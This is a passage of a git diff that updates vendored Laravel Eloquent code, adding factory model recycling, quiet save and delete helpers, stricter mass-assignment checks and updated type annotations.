qualified name. + * + * @param array $wheres + * @param string $from + * @param string $to + * @return array + */ + protected function requalifyWhereTables(array $wheres, string $from, string $to): array + { + return collect($wheres)->map(function ($where) use ($from, $to) { + return collect($where)->map(function ($value) use ($from, $to) { + return is_string($value) && str_starts_with($value, $from.'.') + ? $to.'.'.Str::afterLast($value, '.') + : $value; + }); + })->toArray(); + } + /** * Add a sub-query count clause to this query. * diff --git a/vendor/illuminate/database/Eloquent/Factories/BelongsToManyRelationship.php b/vendor/illuminate/database/Eloquent/Factories/BelongsToManyRelationship.php index e0c42c4c6..8e4026102 100644 --- a/vendor/illuminate/database/Eloquent/Factories/BelongsToManyRelationship.php +++ b/vendor/illuminate/database/Eloquent/Factories/BelongsToManyRelationship.php @@ -10,7 +10,7 @@ class BelongsToManyRelationship /** * The related factory instance. * - * @var \Illuminate\Database\Eloquent\Factories\Factory|\Illuminate\Support\Collection|\Illuminate\Database\Eloquent\Model + * @var \Illuminate\Database\Eloquent\Factories\Factory|\Illuminate\Support\Collection|\Illuminate\Database\Eloquent\Model|array */ protected $factory; @@ -31,7 +31,7 @@ class BelongsToManyRelationship /** * Create a new attached relationship definition. * - * @param \Illuminate\Database\Eloquent\Factories\Factory|\Illuminate\Support\Collection|\Illuminate\Database\Eloquent\Model $factory + * @param \Illuminate\Database\Eloquent\Factories\Factory|\Illuminate\Support\Collection|\Illuminate\Database\Eloquent\Model|array $factory * @param callable|array $pivot * @param string $relationship * @return void @@ -58,4 +58,19 @@ public function createFor(Model $model) ); }); } + + /** + * Specify the model instances to always use when creating relationships. + * + * @param \Illuminate\Support\Collection $recycle + * @return $this + */ + public function recycle($recycle) + { + if ($this->factory instanceof Factory) { + $this->factory = $this->factory->recycle($recycle); + } + + return $this; + } } diff --git a/vendor/illuminate/database/Eloquent/Factories/BelongsToRelationship.php b/vendor/illuminate/database/Eloquent/Factories/BelongsToRelationship.php index 55747fdc6..b2fb1b251 100644 --- a/vendor/illuminate/database/Eloquent/Factories/BelongsToRelationship.php +++ b/vendor/illuminate/database/Eloquent/Factories/BelongsToRelationship.php @@ -69,7 +69,9 @@ protected function resolver($key) { return function () use ($key) { if (! $this->resolved) { - $instance = $this->factory instanceof Factory ? $this->factory->create() : $this->factory; + $instance = $this->factory instanceof Factory + ? ($this->factory->getRandomRecycledModel($this->factory->modelName()) ?? $this->factory->create()) + : $this->factory; return $this->resolved = $key ? $instance->{$key} : $instance->getKey(); } @@ -77,4 +79,19 @@ protected function resolver($key) return $this->resolved; }; } + + /** + * Specify the model instances to always use when creating relationships. + * + * @param \Illuminate\Support\Collection $recycle + * @return $this + */ + public function recycle($recycle) + { + if ($this->factory instanceof Factory) { + $this->factory = $this->factory->recycle($recycle); + } + + return $this; + } } diff --git a/vendor/illuminate/database/Eloquent/Factories/CrossJoinSequence.php b/vendor/illuminate/database/Eloquent/Factories/CrossJoinSequence.php index b0efbd0c8..3270b305c 100644 --- a/vendor/illuminate/database/Eloquent/Factories/CrossJoinSequence.php +++ b/vendor/illuminate/database/Eloquent/Factories/CrossJoinSequence.php @@ -9,7 +9,7 @@ class CrossJoinSequence extends Sequence /** * Create a new cross join sequence instance. * - * @param array $sequences + * @param array ...$sequences * @return void */ public function __construct(...$sequences) diff --git a/vendor/illuminate/database/Eloquent/Factories/Factory.php b/vendor/illuminate/database/Eloquent/Factories/Factory.php index 56826e765..d9a453359 100644 --- a/vendor/illuminate/database/Eloquent/Factories/Factory.php +++ b/vendor/illuminate/database/Eloquent/Factories/Factory.php @@ -8,13 +8,21 @@ use Illuminate\Contracts\Foundation\Application; use Illuminate\Database\Eloquent\Collection as EloquentCollection; use Illuminate\Database\Eloquent\Model; +use Illuminate\Database\Eloquent\SoftDeletes; +use Illuminate\Support\Carbon; use Illuminate\Support\Collection; +use Illuminate\Support\Enumerable; use Illuminate\Support\Str; use Illuminate\Support\Traits\Conditionable; use Illuminate\Support\Traits\ForwardsCalls; use Illuminate\Support\Traits\Macroable; use Throwable; +/** + * @template TModel of \Illuminate\Database\Eloquent\Model + * + * @method $this trashed() + */ abstract class Factory { use Conditionable, ForwardsCalls, Macroable { @@ -24,7 +32,7 @@ abstract class Factory /** * The name of the factory's corresponding model. * - * @var string|null + * @var class-string<\Illuminate\Database\Eloquent\Model|TModel> */ protected $model; @@ -56,6 +64,13 @@ abstract class Factory */ protected $for; + /** + * The model instances to always use when creating relationships. + * + * @var \Illuminate\Support\Collection + */ + protected $recycle; + /** * The "after making" callbacks that will be applied to the model. * @@ -73,7 +88,7 @@ abstract class Factory /** * The name of the database connection that will be used to create the models. * - * @var string + * @var string|null */ protected $connection; @@ -89,7 +104,7 @@ abstract class Factory * * @var string */ - protected static $namespace = 'Database\\Factories\\'; + public static $namespace = 'Database\\Factories\\'; /** * The default model name resolver. @@ -115,6 +130,7 @@ abstract class Factory * @param \Illuminate\Support\Collection|null $afterMaking * @param \Illuminate\Support\Collection|null $afterCreating * @param string|null $connection + * @param \Illuminate\Support\Collection|null $recycle * @return void */ public function __construct($count = null, @@ -123,29 +139,31 @@ public function __construct($count = null, ?Collection $for = null, ?Collection $afterMaking = null, ?Collection $afterCreating = null, - $connection = null) + $connection = null, + ?Collection $recycle = null) { $this->count = $count; - $this->states = $states ?: new Collection; - $this->has = $has ?: new Collection; - $this->for = $for ?: new Collection; - $this->afterMaking = $afterMaking ?: new Collection; - $this->afterCreating = $afterCreating ?: new Collection; + $this->states = $states ?? new Collection; + $this->has = $has ?? new Collection; + $this->for = $for ?? new Collection; + $this->afterMaking = $afterMaking ?? new Collection; + $this->afterCreating = $afterCreating ?? new Collection; $this->connection = $connection; + $this->recycle = $recycle ?? new Collection; $this->faker = $this->withFaker(); } /** * Define the model's default state. * - * @return array + * @return array */ abstract public function definition(); /** * Get a new factory instance for the given attributes. * - * @param callable|array $attributes + * @param (callable(array): array)|array $attributes * @return static */ public static function new($attributes = []) @@ -167,7 +185,7 @@ public static function times(int $count) /** * Configure the factory. * - * @return $this + * @return static */ public function configure() { @@ -177,9 +195,9 @@ public function configure() /** * Get the raw attributes generated by the factory. * - * @param array $attributes + * @param (callable(array): array)|array $attributes * @param \Illuminate\Database\Eloquent\Model|null $parent - * @return array + * @return array */ public function raw($attributes = [], ?Model $parent = null) { @@ -195,8 +213,8 @@ public function raw($attributes = [], ?Model $parent = null) /** * Create a single model and persist it to the database. * - * @param array $attributes - * @return \Illuminate\Database\Eloquent\Model + * @param (callable(array): array)|array $attributes + * @return \Illuminate\Database\Eloquent\Model|TModel */ public function createOne($attributes = []) { @@ -204,10 +222,10 @@ public function createOne($attributes = []) } /** - * Create a single model and persist it to the database. + * Create a single model and persist it to the database without dispatching any model events. * - * @param array $attributes - * @return \Illuminate\Database\Eloquent\Model + * @param (callable(array): array)|array $attributes + * @return \Illuminate\Database\Eloquent\Model|TModel */ public function createOneQuietly($attributes = []) { @@ -217,11 +235,19 @@ public function createOneQuietly($attributes = []) /** * Create a collection of models and persist them to the database. * - * @param iterable $records - * @return \Illuminate\Database\Eloquent\Collection + * @param int|null|iterable> $records + * @return \Illuminate\Database\Eloquent\Collection */ - public function createMany(iterable $records) + public function createMany(int|iterable|null $records = null) { + if (is_null($records)) { + $records = $this->count ?? 1; + } + + if (is_numeric($records)) { + $records = array_fill(0, $records, []); + } + return new EloquentCollection( collect($records)->map(function ($record) { return $this->state($record)->create(); @@ -230,12 +256,12 @@ public function createMany(iterable $records) } /** - * Create a collection of models and persist them to the database. + * Create a collection of models and persist them to the database without dispatching any model events. * - * @param iterable $records - * @return \Illuminate\Database\Eloquent\Collection + * @param int|null|iterable> $records + * @return \Illuminate\Database\Eloquent\Collection */ - public function createManyQuietly(iterable $records) + public function createManyQuietly(int|iterable|null $records = null) { return Model::withoutEvents(function () use ($records) { return $this->createMany($records); @@ -245,9 +271,9 @@ public function createManyQuietly(iterable $records) /** * Create a collection of models and persist them to the database. * - * @param array $attributes + * @param (callable(array): array)|array $attributes * @param \Illuminate\Database\Eloquent\Model|null $parent - * @return \Illuminate\Database\Eloquent\Collection|\Illuminate\Database\Eloquent\Model + * @return \Illuminate\Database\Eloquent\Collection|\Illuminate\Database\Eloquent\Model|TModel */ public function create($attributes = [], ?Model $parent = null) { @@ -271,11 +297,11 @@ public function create($attributes = [], ?Model $parent = null) } /** - * Create a collection of models and persist them to the database. + * Create a collection of models and persist them to the database without dispatching any model events. * - * @param array $attributes + * @param (callable(array): array)|array $attributes * @param \Illuminate\Database\Eloquent\Model|null $parent - * @return \Illuminate\Database\Eloquent\Collection|\Illuminate\Database\Eloquent\Model + * @return \Illuminate\Database\Eloquent\Collection|\Illuminate\Database\Eloquent\Model|TModel */ public function createQuietly($attributes = [], ?Model $parent = null) { @@ -287,15 +313,13 @@ public function createQuietly($attributes = [], ?Model $parent = null) /** * Create a callback that persists a model in the database when invoked. * - * @param array $attributes + * @param array $attributes * @param \Illuminate\Database\Eloquent\Model|null $parent - * @return \Closure + * @return \Closure(): (\Illuminate\Database\Eloquent\Collection|\Illuminate\Database\Eloquent\Model|TModel) */ public function lazy(array $attributes = [], ?Model $parent = null) { - return function () use ($attributes, $parent) { - return $this->create($attributes, $parent); - }; + return fn () => $this->create($attributes, $parent); } /** @@ -313,6 +337,12 @@ protected function store(Collection $results) $model->save(); + foreach ($model->getRelations() as $name => $items) { + if ($items instanceof Enumerable && $items->isEmpty()) { + $model->unsetRelation($name); + } + } + $this->createChildren($model); }); } @@ -327,7 +357,7 @@ protected function createChildren(Model $model) { Model::unguarded(function () use ($model) { $this->has->each(function ($has) use ($model) { - $has->createFor($model); + $has->recycle($this->recycle)->createFor($model); }); }); } @@ -335,8 +365,8 @@ protected function createChildren(Model $model) /** * Make a single instance of the model. * - * @param callable|array $attributes - * @return \Illuminate\Database\Eloquent\Model + * @param (callable(array): array)|array $attributes + * @return \Illuminate\Database\Eloquent\Model|TModel */ public function makeOne($attributes = []) { @@ -346,9 +376,9 @@ public function makeOne($attributes = []) /** * Create a collection of models. * - * @param array $attributes + * @param (callable(array): array)|array $attributes * @param \Illuminate\Database\Eloquent\Model|null $parent - * @return \Illuminate\Database\Eloquent\Collection|\Illuminate\Database\Eloquent\Model + * @return \Illuminate\Database\Eloquent\Collection|\Illuminate\Database\Eloquent\Model|TModel */ public function make($attributes = [], ?Model $parent = null) { @@ -434,7 +464,7 @@ protected function parentResolvers() $model = $this->newModel(); return $this->for->map(function (BelongsToRelationship $for) use ($model) { - return $for->attributesFor($model); + return $for->recycle($this->recycle)->attributesFor($model); })->collapse()->all(); } @@ -446,27 +476,35 @@ protected function parentResolvers() */ protected function expandAttributes(array $definition) { - return collect($definition)->map(function ($attribute, $key) use (&$definition) { - if (is_callable($attribute) && ! is_string($attribute) && ! is_array($attribute)) { - $attribute = $attribute($definition); - } + return collect($definition) + ->map($evaluateRelations = function ($attribute) { + if ($attribute instanceof self) { + $attribute = $this->getRandomRecycledModel($attribute->modelName())?->getKey() + ?? $attribute->recycle($this->recycle)->create()->getKey(); + } elseif ($attribute instanceof Model) { + $attribute = $attribute->getKey(); + } - if ($attribute instanceof self) { - $attribute = $attribute->create()->getKey(); - } elseif ($attribute instanceof Model) { - $attribute = $attribute->getKey(); - } + return $attribute; + }) + ->map(function ($attribute, $key) use (&$definition, $evaluateRelations) { + if (is_callable($attribute) && ! is_string($attribute) && ! is_array($attribute)) { + $attribute = $attribute($definition); + } + + $attribute = $evaluateRelations($attribute); - $definition[$key] = $attribute; + $definition[$key] = $attribute; - return $attribute; - })->all(); + return $attribute; + }) + ->all(); } /** * Add a new state transformation to the model definition. * - * @param callable|array $state + * @param (callable(array, \Illuminate\Database\Eloquent\Model|null): array)|array $state * @return static */ public function state($state) @@ -480,10 +518,22 @@ public function state($state) ]); } + /** + * Set a single model attribute. + * + * @param string|int $key + * @param mixed $value + * @return static + */ + public function set($key, $value) + { + return $this->state([$key => $value]); + } + /** * Add a new sequenced state transformation to the model definition. * - * @param array $sequence + * @param mixed ...$sequence * @return static */ public function sequence(...$sequence) @@ -491,10 +541,21 @@ public function sequence(...$sequence) return $this->state(new Sequence(...$sequence)); } + /** + * Add a new sequenced state transformation to the model definition and update the pending creation count to the size of the sequence. + * + * @param array ...$sequence + * @return static + */ + public function forEachSequence(...$sequence) + { + return $this->state(new Sequence(...$sequence))->count(count($sequence)); + } + /** * Add a new cross joined sequenced state transformation to the model definition. * - * @param array $sequence + * @param array ...$sequence * @return static */ public function crossJoinSequence(...$sequence) @@ -513,7 +574,7 @@ public function has(self $factory, $relationship = null) { return $this->newInstance([ 'has' => $this->has->concat([new Relationship( - $factory, $relationship ?: $this->guessRelationship($factory->modelName()) + $factory, $relationship ?? $this->guessRelationship($factory->modelName()) )]), ]); } @@ -534,8 +595,8 @@ protected function guessRelationship(string $related) /** * Define an attached relationship for the model. * - * @param \Illuminate\Database\Eloquent\Factories\Factory|\Illuminate\Support\Collection|\Illuminate\Database\Eloquent\Model $factory - * @param callable|array $pivot + * @param \Illuminate\Database\Eloquent\Factories\Factory|\Illuminate\Support\Collection|\Illuminate\Database\Eloquent\Model|array $factory + * @param (callable(): array)|array $pivot * @param string|null $relationship * @return static */ @@ -545,7 +606,7 @@ public function hasAttached($factory, $pivot = [], $relationship = null) 'has' => $this->has->concat([new BelongsToManyRelationship( $factory, $pivot, - $relationship ?: Str::camel(Str::plural(class_basename( + $relationship ?? Str::camel(Str::plural(class_basename( $factory instanceof Factory ? $factory->modelName() : Collection::wrap($factory)->first() @@ -565,16 +626,46 @@ public function for($factory, $relationship = null) { return $this->newInstance(['for' => $this->for->concat([new BelongsToRelationship( $factory, - $relationship ?: Str::camel(class_basename( + $relationship ?? Str::camel(class_basename( $factory instanceof Factory ? $factory->modelName() : $factory )) )])]); } + /** + * Provide model instances to use instead of any nested factory calls when creating relationships. + * + * @param \Illuminate\Database\Eloquent\Model|\Illuminate\Support\Collection|array $model + * @return static + */ + public function recycle($model) + { + // Group provided models by the type and merge them into existing recycle collection + return $this->newInstance([ + 'recycle' => $this->recycle + ->flatten() + ->merge( + Collection::wrap($model instanceof Model ? func_get_args() : $model) + ->flatten() + )->groupBy(fn ($model) => get_class($model)), + ]); + } + + /** + * Retrieve a random model of a given type from previously provided models to recycle. + * + * @param string $modelClassName + * @return \Illuminate\Database\Eloquent\Model|null + */ + public function getRandomRecycledModel($modelClassName) + { + return $this->recycle->get($modelClassName)?->random(); + } + /** * Add a new "after making" callback to the model definition. * - * @param \Closure $callback + * @param \Closure(\Illuminate\Database\Eloquent\Model|TModel): mixed $callback * @return static */ public function afterMaking(Closure $callback) @@ -585,7 +676,7 @@ public function afterMaking(Closure $callback) /** * Add a new "after creating" callback to the model definition. * - * @param \Closure $callback + * @param \Closure(\Illuminate\Database\Eloquent\Model|TModel): mixed $callback * @return static */ public function afterCreating(Closure $callback) @@ -662,14 +753,15 @@ protected function newInstance(array $arguments = []) 'afterMaking' => $this->afterMaking, 'afterCreating' => $this->afterCreating, 'connection' => $this->connection, + 'recycle' => $this->recycle, ], $arguments))); } /** * Get a new model instance. * - * @param array $attributes - * @return \Illuminate\Database\Eloquent\Model + * @param array $attributes + * @return \Illuminate\Database\Eloquent\Model|TModel */ public function newModel(array $attributes = []) { @@ -681,11 +773,11 @@ public function newModel(array $attributes = []) /** * Get the name of the model that is generated by the factory. * - * @return string + * @return class-string<\Illuminate\Database\Eloquent\Model|TModel> */ public function modelName() { - $resolver = static::$modelNameResolver ?: function (self $factory) { + $resolver = static::$modelNameResolver ?? function (self $factory) { $namespacedFactoryBasename = Str::replaceLast( 'Factory', '', Str::replaceFirst(static::$namespace, '', get_class($factory)) ); @@ -699,13 +791,13 @@ public function modelName() : $appNamespace.$factoryBasename; }; - return $this->model ?: $resolver($this); + return $this->model ?? $resolver($this); } /** * Specify the callback that should be invoked to guess model names based on factory names. * - * @param callable $callback + * @param callable(self): class-string<\Illuminate\Database\Eloquent\Model|TModel> $callback * @return void */ public static function guessModelNamesUsing(callable $callback) @@ -727,8 +819,8 @@ public static function useNamespace(string $namespace) /** * Get a new factory instance for the given model name. * - * @param string $modelName - * @return static + * @param class-string<\Illuminate\Database\Eloquent\Model> $modelName + * @return \Illuminate\Database\Eloquent\Factories\Factory */ public static function factoryForModel(string $modelName) { @@ -740,7 +832,7 @@ public static function factoryForModel(string $modelName) /** * Specify the callback that should be invoked to guess factory names based on dynamic relationship names. * - * @param callable $callback + * @param callable(class-string<\Illuminate\Database\Eloquent\Model>): class-string<\Illuminate\Database\Eloquent\Factories\Factory> $callback * @return void */ public static function guessFactoryNamesUsing(callable $callback) @@ -761,12 +853,12 @@ protected function withFaker() /** * Get the factory name for the given model name. * - * @param string $modelName - * @return string + * @param class-string<\Illuminate\Database\Eloquent\Model> $modelName + * @return class-string<\Illuminate\Database\Eloquent\Factories\Factory> */ public static function resolveFactoryName(string $modelName) { - $resolver = static::$factoryNameResolver ?: function (string $modelName) { + $resolver = static::$factoryNameResolver ?? function (string $modelName) { $appNamespace = static::appNamespace(); $modelName = Str::startsWith($modelName, $appNamespace.'Models\\') @@ -790,7 +882,7 @@ protected static function appNamespace() return Container::getInstance() ->make(Application::class) ->getNamespace(); - } catch (Throwable $e) { + } catch (Throwable) { return 'App\\'; } } @@ -808,6 +900,12 @@ public function __call($method, $parameters) return $this->macroCall($method, $parameters); } + if ($method === 'trashed' && in_array(SoftDeletes::class, class_uses_recursive($this->modelName()))) { + return $this->state([ + $this->newModel()->getDeletedAtColumn() => $parameters[0] ?? Carbon::now()->subDay(), + ]); + } + if (! Str::startsWith($method, ['for', 'has'])) { static::throwBadMethodCallException($method); } @@ -817,14 +915,14 @@ public function __call($method, $parameters) $relatedModel = get_class($this->newModel()->{$relationship}()->getRelated()); if (method_exists($relatedModel, 'newFactory')) { - $factory = $relatedModel::newFactory() ?: static::factoryForModel($relatedModel); + $factory = $relatedModel::newFactory() ?? static::factoryForModel($relatedModel); } else { $factory = static::factoryForModel($relatedModel); } - if (Str::startsWith($method, 'for')) { + if (str_starts_with($method, 'for')) { return $this->for($factory->state($parameters[0] ?? []), $relationship); - } elseif (Str::startsWith($method, 'has')) { + } elseif (str_starts_with($method, 'has')) { return $this->has( $factory ->count(is_numeric($parameters[0] ?? null) ? $parameters[0] : 1) diff --git a/vendor/illuminate/database/Eloquent/Factories/HasFactory.php b/vendor/illuminate/database/Eloquent/Factories/HasFactory.php index 7d2be2205..f10281d14 100644 --- a/vendor/illuminate/database/Eloquent/Factories/HasFactory.php +++ b/vendor/illuminate/database/Eloquent/Factories/HasFactory.php @@ -7,22 +7,23 @@ trait HasFactory /** * Get a new factory instance for the model. * - * @param mixed $parameters - * @return \Illuminate\Database\Eloquent\Factories\Factory + * @param callable|array|int|null $count + * @param callable|array $state + * @return \Illuminate\Database\Eloquent\Factories\Factory */ - public static function factory(...$parameters) + public static function factory($count = null, $state = []) { $factory = static::newFactory() ?: Factory::factoryForModel(get_called_class()); return $factory - ->count(is_numeric($parameters[0] ?? null) ? $parameters[0] : null) - ->state(is_array($parameters[0] ?? null) ? $parameters[0] : ($parameters[1] ?? [])); + ->count(is_numeric($count) ? $count : null) + ->state(is_callable($count) || is_array($count) ? $count : $state); } /** * Create a new factory instance for the model. * - * @return \Illuminate\Database\Eloquent\Factories\Factory + * @return \Illuminate\Database\Eloquent\Factories\Factory */ protected static function newFactory() { diff --git a/vendor/illuminate/database/Eloquent/Factories/Relationship.php b/vendor/illuminate/database/Eloquent/Factories/Relationship.php index 788f6bc82..3eb62da38 100644 --- a/vendor/illuminate/database/Eloquent/Factories/Relationship.php +++ b/vendor/illuminate/database/Eloquent/Factories/Relationship.php @@ -59,4 +59,17 @@ public function createFor(Model $parent) $relationship->attach($this->factory->create([], $parent)); } } + + /** + * Specify the model instances to always use when creating relationships. + * + * @param \Illuminate\Support\Collection $recycle + * @return $this + */ + public function recycle($recycle) + { + $this->factory = $this->factory->recycle($recycle); + + return $this; + } } diff --git a/vendor/illuminate/database/Eloquent/Factories/Sequence.php b/vendor/illuminate/database/Eloquent/Factories/Sequence.php index 064cc4a4e..e523fb3ee 100644 --- a/vendor/illuminate/database/Eloquent/Factories/Sequence.php +++ b/vendor/illuminate/database/Eloquent/Factories/Sequence.php @@ -30,7 +30,7 @@ class Sequence implements Countable /** * Create a new sequence instance. * - * @param array $sequence + * @param mixed ...$sequence * @return void */ public function __construct(...$sequence) diff --git a/vendor/illuminate/database/Eloquent/MissingAttributeException.php b/vendor/illuminate/database/Eloquent/MissingAttributeException.php new file mode 100644 index 000000000..87935c141 --- /dev/null +++ b/vendor/illuminate/database/Eloquent/MissingAttributeException.php @@ -0,0 +1,23 @@ +totallyGuarded(); - foreach ($this->fillableFromArray($attributes) as $key => $value) { + $fillable = $this->fillableFromArray($attributes); + + foreach ($fillable as $key => $value) { // The developers may choose to place some attributes in the "fillable" array // which means only those attributes may be set through mass assignment to // the model, and all others will just get ignored for security reasons. if ($this->isFillable($key)) { $this->setAttribute($key, $value); - } elseif ($totallyGuarded) { + } elseif ($totallyGuarded || static::preventsSilentlyDiscardingAttributes()) { + if (isset(static::$discardedAttributeViolationCallback)) { + call_user_func(static::$discardedAttributeViolationCallback, $this, [$key]); + } else { + throw new MassAssignmentException(sprintf( + 'Add [%s] to fillable property to allow mass assignment on [%s].', + $key, get_class($this) + )); + } + } + } + + if (count($attributes) !== count($fillable) && + static::preventsSilentlyDiscardingAttributes()) { + $keys = array_diff(array_keys($attributes), array_keys($fillable)); + + if (isset(static::$discardedAttributeViolationCallback)) { + call_user_func(static::$discardedAttributeViolationCallback, $this, $keys); + } else { throw new MassAssignmentException(sprintf( - 'Add [%s] to fillable property to allow mass assignment on [%s].', - $key, get_class($this) + 'Add fillable property [%s] to allow mass assignment on [%s].', + implode(', ', $keys), + get_class($this) )); } } @@ -448,9 +555,7 @@ public function fill(array $attributes) */ public function forceFill(array $attributes) { - return static::unguarded(function () use ($attributes) { - return $this->fill($attributes); - }); + return static::unguarded(fn () => $this->fill($attributes)); } /** @@ -461,7 +566,7 @@ public function forceFill(array $attributes) */ public function qualifyColumn($column) { - if (Str::contains($column, '.')) { + if (str_contains($column, '.')) { return $column; } @@ -493,7 +598,7 @@ public function newInstance($attributes = [], $exists = false) // This method just provides a convenient way for us to generate fresh model // instances of this current model. It is particularly useful during the // hydration of new objects via the Eloquent query builder instances. - $model = new static((array) $attributes); + $model = new static; $model->exists = $exists; @@ -505,6 +610,8 @@ public function newInstance($attributes = [], $exists = false) $model->mergeCasts($this->casts); + $model->fill((array) $attributes); + return $model; } @@ -549,7 +656,7 @@ public static function on($connection = null) /** * Begin querying the model on the write connection. * - * @return \Illuminate\Database\Query\Builder + * @return \Illuminate\Database\Eloquent\Builder */ public static function onWriteConnection() { @@ -559,8 +666,8 @@ public static function onWriteConnection() /** * Get all of the models from the database. * - * @param array|mixed $columns - * @return \Illuminate\Database\Eloquent\Collection|static[] + * @param array|string $columns + * @return \Illuminate\Database\Eloquent\Collection */ public static function all($columns = ['*']) { @@ -639,7 +746,7 @@ public function loadMissing($relations) * * @param array|string $relations * @param string $column - * @param string $function + * @param string|null $function * @return $this */ public function loadAggregate($relations, $column, $function = null) @@ -727,7 +834,7 @@ public function loadExists($relations) * @param string $relation * @param array $relations * @param string $column - * @param string $function + * @param string|null $function * @return $this */ public function loadMorphAggregate($relation, $relations, $column, $function = null) @@ -844,10 +951,8 @@ protected function decrement($column, $amount = 1, array $extra = []) */ protected function incrementOrDecrement($column, $amount, $extra, $method) { - $query = $this->newQueryWithoutRelationships(); - if (! $this->exists) { - return $query->{$method}($column, $amount, $extra); + return $this->newQueryWithoutRelationships()->{$method}($column, $amount, $extra); } $this->{$column} = $this->isClassDeviable($column) @@ -860,7 +965,7 @@ protected function incrementOrDecrement($column, $amount, $extra, $method) return false; } - return tap($this->setKeysForSaveQuery($query)->{$method}($column, $amount, $extra), function () use ($column) { + return tap($this->setKeysForSaveQuery($this->newQueryWithoutScopes())->{$method}($column, $amount, $extra), function () use ($column) { $this->syncChanges(); $this->fireModelEvent('updated', false); @@ -919,6 +1024,36 @@ public function updateQuietly(array $attributes = [], array $options = []) return $this->fill($attributes)->saveQuietly($options); } + /** + * Increment a column's value by a given amount without raising any events. + * + * @param string $column + * @param float|int $amount + * @param array $extra + * @return int + */ + protected function incrementQuietly($column, $amount = 1, array $extra = []) + { + return static::withoutEvents(function () use ($column, $amount, $extra) { + return $this->incrementOrDecrement($column, $amount, $extra, 'increment'); + }); + } + + /** + * Decrement a column's value by a given amount without raising any events. + * + * @param string $column + * @param float|int $amount + * @param array $extra + * @return int + */ + protected function decrementQuietly($column, $amount = 1, array $extra = []) + { + return static::withoutEvents(function () use ($column, $amount, $extra) { + return $this->incrementOrDecrement($column, $amount, $extra, 'decrement'); + }); + } + /** * Save the model and all of its relationships. * @@ -935,7 +1070,7 @@ public function push() // us to recurse into all of these nested relations for the model instance. foreach ($this->relations as $models) { $models = $models instanceof Collection - ? $models->all() : [$models]; + ? $models->all() : [$models]; foreach (array_filter($models) as $model) { if (! $model->push()) { @@ -947,6 +1082,16 @@ public function push() return true; } + /** + * Save the model and all of its relationships without raising any events to the parent model. + * + * @return bool + */ + public function pushQuietly() + { + return static::withoutEvents(fn () => $this->push()); + } + /** * Save the model to the database without raising any events. * @@ -955,9 +1100,7 @@ public function push() */ public function saveQuietly(array $options = []) { - return static::withoutEvents(function () use ($options) { - return $this->save($options); - }); + return static::withoutEvents(fn () => $this->save($options)); } /** @@ -984,7 +1127,7 @@ public function save(array $options = []) // clause to only update this model. Otherwise, we'll just insert them. if ($this->exists) { $saved = $this->isDirty() ? - $this->performUpdate($query) : true; + $this->performUpdate($query) : true; } // If the model is brand new, we'll insert it into our database and set the @@ -1019,9 +1162,7 @@ public function save(array $options = []) */ public function saveOrFail(array $options = []) { - return $this->getConnection()->transaction(function () use ($options) { - return $this->save($options); - }); + return $this->getConnection()->transaction(fn () => $this->save($options)); } /** @@ -1066,7 +1207,7 @@ protected function performUpdate(Builder $query) // Once we have run the update operation, we will fire the "updated" event for // this model instance. This will allow developers to hook into these after // models are updated, giving them a chance to do any special processing. - $dirty = $this->getDirty(); + $dirty = $this->getDirtyForUpdate(); if (count($dirty) > 0) { $this->setKeysForSaveQuery($query)->update($dirty); @@ -1133,6 +1274,10 @@ protected function getKeyForSaveQuery() */ protected function performInsert(Builder $query) { + if ($this->usesUniqueIds()) { + $this->setUniqueIds(); + } + if ($this->fireModelEvent('creating') === false) { return false; } @@ -1269,6 +1414,16 @@ public function delete() return true; } + /** + * Delete the model from the database without raising any events. + * + * @return bool + */ + public function deleteQuietly() + { + return static::withoutEvents(fn () => $this->delete()); + } + /** * Delete the model from the database within a transaction. * @@ -1282,9 +1437,7 @@ public function deleteOrFail() return false; } - return $this->getConnection()->transaction(function () { - return $this->delete(); - }); + return $this->getConnection()->transaction(fn () => $this->delete()); } /** @@ -1376,8 +1529,8 @@ public function registerGlobalScopes($builder) public function newQueryWithoutScopes() { return $this->newModelQuery() - ->with($this->with) - ->withCount($this->withCount); + ->with($this->with) + ->withCount($this->withCount); } /** @@ -1399,9 +1552,7 @@ public function newQueryWithoutScope($scope) */ public function newQueryForRestoration($ids) { - return is_array($ids) - ? $this->newQueryWithoutScopes()->whereIn($this->getQualifiedKeyName(), $ids) - : $this->newQueryWithoutScopes()->whereKey($ids); + return $this->newQueryWithoutScopes()->whereKey($ids); } /** @@ -1449,7 +1600,7 @@ public function newCollection(array $models = []) public function newPivot(self $parent, array $attributes, $table, $exists, $using = null) { return $using ? $using::fromRawAttributes($parent, $attributes, $table, $exists) - : Pivot::fromAttributes($parent, $attributes, $table, $exists); + : Pivot::fromAttributes($parent, $attributes, $table, $exists); } /** @@ -1497,7 +1648,7 @@ public function toJson($options = 0) { $json = json_encode($this->jsonSerialize(), $options); - if (JSON_ERROR_NONE !== json_last_error()) { + if (json_last_error() !== JSON_ERROR_NONE) { throw JsonEncodingException::forModel($this, json_last_error_msg()); } @@ -1507,10 +1658,9 @@ public function toJson($options = 0) /** * Convert the object into something JSON serializable. * - * @return array + * @return mixed */ - #[\ReturnTypeWillChange] - public function jsonSerialize() + public function jsonSerialize(): mixed { return $this->toArray(); } @@ -1528,8 +1678,9 @@ public function fresh($with = []) } return $this->setKeysForSelectQuery($this->newQueryWithoutScopes()) - ->with(is_string($with) ? func_get_args() : $with) - ->first(); + ->useWritePdo() + ->with(is_string($with) ? func_get_args() : $with) + ->first(); } /** @@ -1544,7 +1695,10 @@ public function refresh() } $this->setRawAttributes( - $this->setKeysForSelectQuery($this->newQueryWithoutScopes())->firstOrFail()->attributes + $this->setKeysForSelectQuery($this->newQueryWithoutScopes()) + ->useWritePdo() + ->firstOrFail() + ->attributes ); $this->load(collect($this->relations)->reject(function ($relation) { @@ -1565,11 +1719,12 @@ public function refresh() */ public function replicate(array $except = null) { - $defaults = [ + $defaults = array_values(array_filter([ $this->getKeyName(), $this->getCreatedAtColumn(), $this->getUpdatedAtColumn(), - ]; + ...$this->uniqueIds(), + ])); $attributes = Arr::except( $this->getAttributes(), $except ? array_unique(array_merge($except, $defaults)) : $defaults @@ -1584,6 +1739,17 @@ public function replicate(array $except = null) }); } + /** + * Clone the model into a new, non-existing instance without raising any events. + * + * @param array|null $except + * @return static + */ + public function replicateQuietly(array $except = null) + { + return static::withoutEvents(fn () => $this->replicate($except)); + } + /** * Determine if two models have the same ID and belong to the same table. * @@ -1593,9 +1759,9 @@ public function replicate(array $except = null) public function is($model) { return ! is_null($model) && - $this->getKey() === $model->getKey() && - $this->getTable() === $model->getTable() && - $this->getConnectionName() === $model->getConnectionName(); + $this->getKey() === $model->getKey() && + $this->getTable() === $model->getTable() && + $this->getConnectionName() === $model->getConnectionName(); } /** @@ -1656,7 